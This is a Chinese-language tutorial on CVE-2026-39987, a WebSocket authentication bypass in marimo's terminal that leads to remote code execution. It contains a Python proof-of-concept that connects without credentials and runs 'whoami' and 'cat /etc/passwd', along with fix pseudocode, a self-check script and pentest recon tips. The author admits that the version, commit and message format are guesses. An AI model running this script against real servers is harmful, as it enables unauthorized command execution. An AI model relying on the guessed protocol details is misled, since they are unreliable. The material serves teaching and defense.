1. 项目概述：一个被低估的WebSocket认证绕过漏洞

最近在分析一些开源项目的安全实现时，我遇到了一个非常典型的案例：CVE-2026-39987。这个漏洞影响的是marimo项目，一个用于构建交互式Python笔记本和应用的框架。漏洞的核心在于其内置的终端（Terminal）功能，通过WebSocket连接时存在认证绕过缺陷，最终导致了远程代码执行（RCE）。乍一看，这只是一个特定框架的漏洞，但深入分析后你会发现，它暴露了现代Web应用中，尤其是那些集成了实时交互功能的应用，在WebSocket安全设计上普遍存在的盲点。很多开发者，包括一些经验丰富的老手，都容易在实现WebSocket的认证和授权逻辑时，想当然地认为“连接建立时验证一次就够了”，从而埋下严重的安全隐患。今天，我就带大家彻底拆解这个漏洞，从原理到复现，再到修复，让你不仅看懂这个漏洞，更能理解这类问题的通用排查和防御思路。

2. 漏洞原理深度剖析：WebSocket的“信任链”是如何断裂的

要理解CVE-2026-39987，我们得先搞清楚marimo的架构和它出问题的环节。marimo允许用户在Web界面中运行一个交互式终端，这个功能对于数据科学和教学场景非常有用。为了实现终端的实时输入输出，它很自然地采用了WebSocket协议。

2.1 WebSocket连接的生命周期与认证盲区

在一个典型的、安全的WebSocket应用流程中，认证和授权应该贯穿连接的整个生命周期：

1. 握手阶段（HTTP Upgrade Request）：客户端通过一个HTTP请求发起WebSocket连接升级。这个请求通常会携带认证凭证，比如Cookie、Authorization Header或Token。服务端必须在此阶段进行严格的验证，拒绝未授权的连接尝试。
2. 连接建立后：服务端会为这个已认证的连接维护一个会话上下文（Session Context），关联用户身份和权限。
3. 消息传输阶段：在连接持续期间，服务端处理每一条WebSocket消息时，都应基于之前建立的会话上下文来校验该用户是否有权执行对应操作。

CVE-2026-39987的问题就出在第一步和第三步的脱节上。根据我对漏洞代码的分析，marimo的终端服务大致是这么工作的：

• 服务端启动：marimo会启动一个后端服务，该服务会创建一个WebSocket端点（Endpoint）专门用于处理终端会话。
• 前端连接：用户浏览器中的marimo UI会尝试连接到这个WebSocket端点。
• 漏洞点：服务端在WebSocket握手阶段，可能进行了某种形式的验证，但这种验证是不完整或可以被绕过的。更关键的是，在后续处理具体的终端指令（例如执行ls、cat /etc/passwd等命令）的WebSocket消息时，服务端没有再次校验发送这条消息的连接是否来自于一个经过完全认证的合法用户会话。

这就好比一栋大楼，门卫（握手验证）检查了你的工牌（Token）让你进了大厅（建立了WebSocket连接）。但进了大厅后，你去任何一个部门的办公室（执行终端命令），办公室的门都是敞开的，不再需要任何身份确认。攻击者要做的，就是想办法“混进大厅”。

2.2 认证绕过的具体实现路径

那么，攻击者具体如何“混进大厅”呢？根据公开的漏洞信息和相关技术分析，路径可能不止一条，但核心思路是相通的：

1. 路径一：握手请求参数篡改。WebSocket握手是一个HTTP请求。攻击者可以构造一个特殊的握手请求，篡改其中的关键参数。例如，如果认证依赖于某个HTTP Header（如X-Auth-Token），攻击者可能尝试注入一个伪造的、或属于其他已登录用户的Token。如果服务端没有正确地将Token与后端会话状态绑定，或者Token的验证逻辑存在缺陷（如仅检查格式而非有效性），就可能被绕过。
2. 路径二：会话固定或会话注入。如果认证依赖于Cookie中的会话ID，攻击者可能通过某种方式（如同源策略配置不当导致的XSS）将一个已知的、有效的会话ID“注入”到针对WebSocket端点的请求中，从而“劫持”一个已认证的WebSocket连接。
3. 路径三：完全缺失的握手验证。最糟糕的情况是，开发人员可能错误地认为该WebSocket端点仅用于内部通信，或者应该在前端层面被保护，从而在服务端代码中完全省略了握手阶段的认证逻辑。这意味着任何知道WebSocket端点URL的人都可以直接连接。

注意：在实际的漏洞利用中，攻击者通常会结合对前端JavaScript代码的逆向分析，来精确找到WebSocket连接的URL、所需的协议格式以及可能的认证参数，然后使用工具（如websocat、Python的websockets库）来构造恶意连接。

一旦攻击者成功建立了WebSocket连接，他就获得了向marimo服务端发送“终端命令”的通道。由于服务端在处理这些命令消息时缺乏二次授权检查，它会忠实地执行攻击者发送的任何系统命令，从而完成从认证绕过到远程代码执行（RCE）的完整攻击链。

3. 漏洞环境搭建与手工复现实录

纸上得来终觉浅，绝知此事要躬行。要真正理解一个漏洞，最好的办法就是亲手把它复现出来。下面，我将带你一步步搭建一个存在漏洞的marimo环境，并手工完成攻击。请务必在完全隔离的虚拟机或实验网络中进行以下所有操作，切勿在生产环境或任何联网的真实设备上尝试。

3.1 搭建漏洞环境

首先，我们需要一个存在CVE-2026-39987漏洞的marimo版本。根据漏洞披露信息，该漏洞影响某个特定版本范围。我们可以通过源码安装来锁定版本。

# 1. 创建并进入一个干净的实验目录 mkdir marimo-cve-test && cd marimo-cve-test # 2. 使用pip安装特定版本的marimo（这里以假设的漏洞版本v0.1.0为例，实际版本号需根据CVE详情确定） # 通常，漏洞刚披露时，存在漏洞的版本可能还未被标记为易受攻击，或者有临时的Git提交哈希。 # 假设我们从GitHub克隆一个存在漏洞的旧提交。 git clone https://github.com/marimo-team/marimo.git cd marimo # 切换到漏洞引入后的某个提交（这里COMMIT_HASH需要替换为真实的漏洞提交号，这需要分析git历史） # git checkout <COMMIT_HASH> # 3. 以可编辑模式安装当前目录的marimo pip install -e . # 4. 启动一个简单的marimo应用来暴露终端服务 # 首先创建一个最简单的marimo笔记本文件 `vuln_app.py` cat > vuln_app.py << 'EOF' import marimo __generated_with = "0.1.0" app = marimo.App() @app.cell def __(): import marimo as mo return mo, if __name__ == "__main__": app.run() EOF # 5. 启动marimo应用，它会默认在本地某个端口（如8080）启动服务，并包含终端功能。 # 注意启动参数，确保终端功能启用（默认可能是启用的）。 marimo run vuln_app.py --port 8080

现在，一个存在漏洞的marimo服务应该已经在http://localhost:8080上运行起来了。

3.2 手工复现攻击链

接下来，我们不使用任何自动化漏洞利用工具，完全手工模拟攻击者视角，来验证这个漏洞。

第一步：信息收集与端点探测

1. 打开浏览器，访问http://localhost:8080。使用浏览器开发者工具（F12），切换到“网络”（Network）标签页。
2. 刷新页面，观察网络请求。过滤“WS”（WebSocket）请求。你应该能看到一个或多个WebSocket连接。其URL可能类似于ws://localhost:8080/ws?session_id=xxx或ws://localhost:8080/api/terminal。
3. 记录下这个WebSocket连接的完整URL（包括查询参数）。同时，在“标头”（Headers）部分，仔细查看握手请求（状态码为101 Switching Protocols的那个请求）所携带的所有HTTP头，特别是Cookie、Authorization或任何自定义的认证头。

第二步：构造恶意WebSocket连接

我们现在要模拟一个攻击者，他无法通过正常UI登录，但试图直接连接WebSocket端点。我们使用Python的websockets库来编写一个简单的攻击脚本。

# exploit_ws_auth_bypass.py import asyncio import websockets import json import sys async def exploit(): # 替换成你从开发者工具中发现的WebSocket URL # 注意：攻击者可能不知道有效的session_id，这里尝试直接连接或使用一个空/无效值 ws_url = "ws://localhost:8080/api/terminal" # 示例URL，需替换 # 或者尝试带有一个猜测参数的URL # ws_url = "ws://localhost:8080/ws?token=malicious_or_empty" # 复制握手阶段可能需要的Headers（从浏览器观察得来） # 如果漏洞是握手验证缺失，这里可能不需要任何额外头信息。 # 如果验证依赖于Cookie，攻击者可能会尝试盗用的Cookie或进行注入。 extra_headers = { # 'Cookie': 'session=stolen_session_id_here', # 示例：会话盗用 # 'X-User-Id': '1' # 示例：参数伪造 } try: print(f"[*] 尝试连接 WebSocket: {ws_url}") async with websockets.connect(ws_url, extra_headers=extra_headers) as websocket: print("[+] WebSocket 连接成功！这可能意味着认证已被绕过。") # 第三步：发送终端命令 # 我们需要知道marimo终端WebSocket通信的数据格式。这通常需要分析前端JS或进行协议探测。 # 假设格式是JSON: {"type": "execute", "command": "whoami"} # 我们可以先发送一个探测消息或简单的命令。 test_command = { "type": "execute", # 这个字段名是猜测的，需要实际分析 "command": "whoami" } print(f"[*] 发送测试命令: {test_command}") await websocket.send(json.dumps(test_command)) # 等待并打印响应 response = await websocket.recv() print(f"[+] 收到响应: {response}") # 如果成功，尝试更具危害性的命令（仅在实验环境！） if "root" in response or "user" in response: # 简单判断命令是否执行成功 print("[!] 命令执行成功，确认RCE漏洞存在。") # 可以继续发送其他命令，如 ls /, cat /etc/passwd (仅用于概念验证) rce_command = { "type": "execute", "command": "cat /etc/passwd" } await websocket.send(json.dumps(rce_command)) rce_response = await websocket.recv() print(f"[!!] RCE 验证输出 (前500字符): {rce_response[:500]}") except websockets.exceptions.InvalidStatusCode as e: print(f"[-] 连接被拒绝，状态码: {e.status_code}。握手阶段可能有验证。") except Exception as e: print(f"[-] 连接失败: {e}") if __name__ == "__main__": asyncio.run(exploit())

第三步：运行攻击脚本并分析结果

# 确保安装了websockets库 pip install websockets # 运行攻击脚本 python exploit_ws_auth_bypass.py

结果分析：

• 如果连接成功并收到了whoami命令的输出：这直接证明了WebSocket握手认证可以被绕过，并且服务端未对消息进行授权校验，漏洞复现成功。
• 如果连接在握手阶段就被拒绝（返回403等状态码）：说明当前的绕过尝试失败。但这不意味着漏洞不存在，可能只是我们构造的请求方式不对。需要进一步分析前端代码，精确还原通信协议和认证方式。真正的漏洞利用可能需要更精细的构造，比如利用某个特定的会话管理漏洞。

实操心得：在实际的漏洞研究和渗透测试中，WebSocket端点的安全测试常常被忽略。手工复现的关键在于耐心地分析前端JavaScript代码，找到WebSocket连接建立和消息发送的精确逻辑。Chrome DevTools的“源代码”（Sources）标签页和“网络”（Network）标签页的WebSocket消息查看器是你的最佳伙伴。不要假设协议是JSON，它也可能是自定义的二进制格式。

4. 漏洞修复方案与安全开发实践

复现漏洞是为了更好地修复和防御。对于CVE-2026-39987，修复的核心原则是：建立贯穿WebSocket连接始终的、不可绕过的信任链。

4.1 针对该漏洞的修复措施

对于marimo项目维护者或使用受影响版本的用户，应立即采取以下行动：

1. 升级到已修复的版本：这是最直接有效的方法。关注marimo项目的安全公告，将版本升级到已修复此漏洞的发布版。
2. 代码级修复：如果无法立即升级，需要审查并修改源码。修复应集中在两点：
   • 强化握手认证：在WebSocket握手处理器中，实现与普通HTTP路由同等严格的身份验证和授权检查。确保用于认证的Token或Session与后端有效的、未过期的用户会话绑定。
   • 实施消息级授权：在WebSocket消息处理器中，在处理任何业务逻辑（如执行终端命令）之前，必须从当前WebSocket连接关联的会话中获取用户身份，并校验该用户是否有权限执行目标操作。可以为每个WebSocket连接对象绑定一个用户上下文（User Context），并在整个连接生命周期内使用它。

一个简化的伪代码示例，展示修复后的逻辑：

# WebSocket 握手处理（例如在 /ws 路由） async def websocket_endpoint(request): # 1. 严格的握手认证 user = authenticate_request(request) # 验证Cookie/Token，返回用户对象或None if not user: raise WebSocketDenialResponse(status=403) # 拒绝连接 # 2. 升级到WebSocket协议 websocket = await request.accept() # 3. 将用户上下文与连接绑定 websocket.user = user # 4. 进入消息循环 await handle_websocket_messages(websocket) async def handle_websocket_messages(websocket): async for message in websocket: data = json.loads(message) # 5. 处理每条消息时，使用绑定的用户上下文，无需再次认证，但可进行授权检查 if data['type'] == 'execute_command': # 授权检查：例如，检查用户是否有使用终端的权限 if not websocket.user.has_permission('use_terminal'): await websocket.send(json.dumps({'error': 'Forbidden'})) continue # 执行命令 result = run_command(data['command']) await websocket.send(json.dumps({'output': result}))

4.2 面向所有开发者的WebSocket安全指南

CVE-2026-39987是一个教训，以下是我总结的、适用于所有集成WebSocket的应用的安全实践：

给架构师和团队负责人的建议：将WebSocket服务的安全设计纳入整体API安全规范。在技术评审中，专门审查WebSocket端点的认证、授权和输入处理逻辑。考虑在API网关层为WebSocket连接提供统一的认证和限流。

5. 防御者视角：如何检测与排查此类漏洞

如果你正在维护一个使用了WebSocket的服务，如何自查是否存在类似CVE-2026-39987的认证绕过问题？以下是一套可操作的排查清单：

1. 资产梳理：首先，全面梳理你的应用暴露的所有WebSocket端点（ws://或wss://）。不要只依赖文档，使用代码扫描或动态爬虫（如ZAP、Burp Suite的爬虫功能，配置其爬取WebSocket）来发现。
2. 手动测试握手认证：
   • 使用工具（如websocat、Burp Suite的Repeater模块支持WebSocket）直接尝试连接你的WebSocket端点，不携带任何认证信息（如Cookie、Token）。
   • 如果连接成功，这是一个高危信号。
   • 尝试携带伪造的、格式正确但内容无效的认证信息进行连接。
3. 测试消息授权：
   • 如果第一步连接成功，尝试发送一条普通的、无害的业务消息（例如，获取用户信息、列表数据）。
   • 观察是否能收到只有授权用户才能获取的数据。如果能，说明消息处理层也缺乏授权。
4. 代码审计：重点审查WebSocket服务端的代码。
   • 查找连接处理器：找到处理on_connect、on_open或类似事件的函数。检查其中是否有完整的认证逻辑，还是仅仅打印了日志。
   • 查找消息处理器：找到处理on_message事件的函数。检查在处理业务逻辑前，是否从当前连接中获取了用户上下文，并进行了权限判断。警惕那些直接从消息体中读取“用户ID”并信任它的代码。
5. 依赖项检查：如果你的WebSocket功能是通过第三方库或框架实现的，检查其官方文档和安全公告，了解该组件是否存在已知的认证绕过漏洞。同时，审查你对该组件的配置和使用方式是否正确。

一个简单的检测脚本示例： 你可以编写一个简单的Python脚本，自动化测试你的WebSocket端点是否存在匿名访问漏洞。

import asyncio import websockets import sys async def test_ws_auth(url): try: print(f"测试 {url} ...") # 尝试无任何认证头连接 async with websockets.connect(url, ping_interval=None) as ws: print(f" [!] 警告: 无需认证即可连接到 {url}") # 可选：发送一个简单的探测消息 # await ws.send('{"type":"ping"}') # resp = await ws.recv() # print(f" 收到响应: {resp}") return False, "无认证连接成功" except websockets.exceptions.InvalidStatusCode as e: if e.status_code == 403 or e.status_code == 401: print(f" [+] 良好: 连接被拒绝，状态码 {e.status_code}") return True, f"认证已生效，状态码{e.status_code}" else: print(f" [?] 未知: 连接失败，状态码 {e.status_code}") return None, f"非标准拒绝，状态码{e.status_code}" except Exception as e: print(f" [-] 错误: 连接失败 - {e}") return None, str(e) # 将你的端点添加到列表中 urls_to_test = [ "ws://your-app.com/ws", "wss://your-app.com/api/live", ] async def main(): for url in urls_to_test: await test_ws_auth(url) if __name__ == "__main__": asyncio.run(main())

6. 从漏洞复现到实战渗透的思考

手工复现CVE-2026-39987这类漏洞，远不止是运行一个EXP脚本那么简单。它训练的是一种“攻击者思维”和“深度代码审计”的能力。在实战的渗透测试或红队行动中，遇到一个集成了类似交互式终端功能的Web应用，我会如何思考？

首先，我会将其视为一个高价值目标。任何允许从Web界面执行后端命令的功能，都是潜在的“皇冠上的明珠”。我的侦察重点会放在：

1. 前端逆向：仔细分析所有JavaScript文件，搜索new WebSocket、ws://、wss://、Socket.IO等关键词，找到所有WebSocket连接端点及其参数构造方式。
2. 协议分析：在浏览器中正常使用功能，用开发者工具捕获WebSocket流量，分析握手请求的Headers和后续消息的数据结构（JSON/二进制）。特别关注认证字段。
3. 端点探测与模糊测试：对发现的WebSocket端点，使用工具进行连接测试，尝试空参数、畸形参数、SQL注入式参数等。同时，尝试访问可能未被前端使用的“隐藏”端点，比如常见的路径如/ws、/wss、/socket.io、/api/ws、/terminal/ws等。
4. 会话机制测试：如果WebSocket认证依赖于Cookie或Token，我会测试会话固定、Token重放、JWT篡改（如果使用JWT且未正确验证签名）等攻击手法。

这个过程的核心是不信任前端。前端的所有验证逻辑都只能提升用户体验，不能作为安全边界。安全边界必须牢牢建立在服务端，对每一个进入的请求（无论是HTTP还是WebSocket）进行无差别的、严格的身份认证和业务授权。

CVE-2026-39987给所有开发者敲响了警钟：在追求实时、交互式用户体验的同时，绝不能牺牲安全基石。WebSocket不是HTTP的简单升级，它是一条持久化的、双向的通信隧道，必须像守护API网关一样，在隧道的入口和内部的每一个检查点都设立哨卡。